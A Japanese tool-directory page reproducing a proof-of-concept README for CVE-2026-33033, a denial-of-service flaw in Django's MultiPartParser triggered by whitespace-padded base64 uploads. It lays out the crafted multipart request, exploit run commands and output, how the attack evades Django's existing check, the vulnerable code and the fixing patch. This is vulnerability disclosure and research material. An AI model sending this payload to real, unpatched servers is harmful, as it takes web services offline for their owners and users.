Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33033-PoC — CVE-2026-33033の概念実証エクスプロイト。DjangoのMultiPartParserにおけるbase64空白文字によるCPU増幅を介したサービス拒否(DoS)脆弱性であり、単一のHTTPリクエストで約800倍の増幅を実証します。 | Kitploit
ツール/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

CVE-2026-33033の概念実証エクスプロイト。DjangoのMultiPartParserにおけるbase64空白文字によるCPU増幅を介したサービス拒否(DoS)脆弱性であり、単一のHTTPリクエストで約800倍の増幅を実証します。

リポジトリを見る
214ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33033 PoC

DjangoのMultiPartParserにおけるbase64空白文字によるCPU増幅を利用したサービス拒否攻撃

わずか2.5 MBのHTTPリクエスト1つで、Djangoワーカーを約5秒間占有させることができ、同じサイズの通常リクエストと比較して約2,100倍のCPU増幅を達成します。認証は不要です。

影響を受けるバージョン

この脆弱性はDjango 6.0.4セキュリティリリース(2026年4月7日)で修正され、サポートされているすべてのブランチにバックポートされました。

ブランチ影響あり修正済み
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

公式説明

CVE-2026-33033: base64エンコードされたファイルアップロードによるMultiPartParserのサービス拒否攻撃の可能性(深刻度: 中)

django.http.multipartparser.MultiPartParserを使用する場合、過剰な空白文字を含むContent-Transfer-Encoding: base64のマルチパートアップロードは、繰り返しのメモリコピーを引き起こし、パフォーマンスを低下させる可能性があります。

— Django 6.0.4リリースノート

Django 6.0.4で修正されたその他のセキュリティ問題

CVE深刻度説明
CVE-2026-3902低アンダースコア/ハイフンの混同によるASGIヘッダースプーフィング
CVE-2026-4277低GenericInlineModelAdminにおける権限の悪用
CVE-2026-4292低ModelAdmin.list_editableにおける権限の悪用
CVE-2026-33034低Content-Length欠落によるASGIメモリアップロード制限の回避

脆弱性の概要

DjangoのMultiPartParserには、Content-Transfer-Encoding: base64を持つファイルパートを処理するための特別なコードパスがあります。各チャンクから空白文字を除去した後、結果が4バイトの倍数に整列されていない場合、whileループがfield_stream.read(1)を呼び出して追加のバイトを1バイトずつ取得します。

ファイル本体がほぼすべて空白文字である場合、取得された各バイトは除去されて何も残らないため、ループは継続し、空白文字1バイトごとにread(1)を1回呼び出します。重要な点は、各read(1)が見た目よりもはるかに高コストであることです:

3つの増幅レイヤー

root@kitploit:~
レイヤー1:  base64整列ループが空白文字バイトごとにread(1)を呼び出す
              |
レイヤー2:  LazyStream.read(1)が残りの全体(約64 KB)を取得し、1バイトをスライスし、
          約64 KB - 1をungetする  -->  呼び出しごとにO(C)バイトコピー
              |
レイヤー3:  unget()が  self._leftover = bytes + self._leftover を実行
          毎回新しいbytesオブジェクトを作成  -->  約Cバイトのmemcpy

64 KBチャンクごとに、コピー処理は等差数列を形成します:

root@kitploit:~
合計 = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5億バイト操作

2.5 MBの入力(約40チャンク)の場合: 単一のHTTPリクエストから約860億バイトのmemcpy処理が発生します。

既存の保護の回避

Djangoには_update_unget_history()が含まれており、50回の操作で同じバイト数が40回以上ungetされた場合にSuspiciousMultipartFormを発生させます。しかし、この攻撃ではungetサイズが単調減少(65535、65534、65533、...)するため、すべてのサイズが一意であり、チェックは決して発動しません。

ビュー実行前のトリガー

CSRFミドルウェアはビューが実行される前にrequest.POSTにアクセスするため、403を返すエンドポイントでも完全なパースコストが発生します。

リポジトリ構造

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # このファイル
├── LICENSE
├── requirements.txt    # Python依存関係
├── exploit.py          # エクスプロイトスクリプト
└── victim/             # 脆弱なDjangoサーバー
    ├── manage.py
    ├── uwsgi.ini       # uWSGIデプロイ設定
    └── victim/
        ├── __init__.py
        ├── settings.py  # Djangoデフォルト(特別な設定は不要)
        ├── urls.py      # /uploadおよび/healthエンドポイント
        └── wsgi.py

再現手順

1. クローンとセットアップ

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. 被害者サーバーを起動

オプションA: Django開発サーバー(最速)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

オプションB: uWSGI(より現実的 — 4ワーカーを使用)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. エクスプロイトを実行

別のターミナルで:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

オプション:

フラグデフォルト説明
--targethttp://127.0.0.1:8000/uploadターゲットのアップロードエンドポイント
--size2621440 (2.5 MB)ペイロードサイズ(バイト単位)
--rounds3攻撃ラウンド数

4. 期待される出力

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

エクスプロイトの仕組み

エクスプロイトは、単一のファイルパートを持つmultipart/form-data POSTボディを構築します:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--
  1. 先頭のAAAによりstripped_chunk = b"AAA"(3バイト)となり、remaining = 3 % 4 = 3になります。
  2. whileループがfield_stream.read(1)を呼び出して整列用に1バイト追加で取得します。
  3. 各空白バイトは除去されて何も残りません(b"".join(b" ".split()) == b"")、remaining = 3のままです。
  4. ループはストリーム内のすべての空白バイトに対して継続します。
  5. 各LazyStream.read(1)は内部でungetメカニズムにより約64 KBをコピーします。

脆弱なコード

django/http/multipartparser.py、302-325行目(Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

パッチ

修正(Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29で適用)では、バイト単位のread(1)ループを一括のread(self._chunk_size)に置き換えます:

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

主な変更点:

  1. read(4 - remaining) → read(self._chunk_size) — 1〜3バイトではなく一度に64 KBを読み取り、read呼び出しを約250万回から約40回に削減。
  2. stripped_chunk += ... → stripped_parts.append(...) + 最後のb"".join() — 潜在的な2次関数的バイト連結を回避。
  3. len(stripped_chunk) % 4 → stripped_lengthカウンター — 冗長な長さの再計算を回避。

免責事項

この概念実証は、教育および許可されたセキュリティテスト目的のみで提供されています。責任を持って、所有しているシステムまたは明示的なテスト許可があるシステムに対してのみ使用してください。

ライセンス

Apache License 2.0 — LICENSEを参照してください。

ツールをダウンロード